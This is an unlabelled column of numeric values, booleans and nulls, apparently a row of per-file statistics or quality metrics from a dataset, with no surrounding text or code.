| 18,464
| 5.340241
| 0.068916
| 0.04783
| 0.037722
| 0.04061
| 0.875733
| 0.858406
| 0.85597
| 0.83765
| 0.815269
| 0.811208
| 0
| 0.013789
| 0.257636
| 18,464
| 437
| 206
| 42.251716
| 0.79463
| 0.239114
| 0
| 0.736842
| 0
| 0
| 0.169904
| 0.027979
| 0
| 0
| 0
| 0.002288
| 0.048246
| 1
| 0.052632
| false
| 0.04386
| 0.02193
| 0
| 0.078947
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.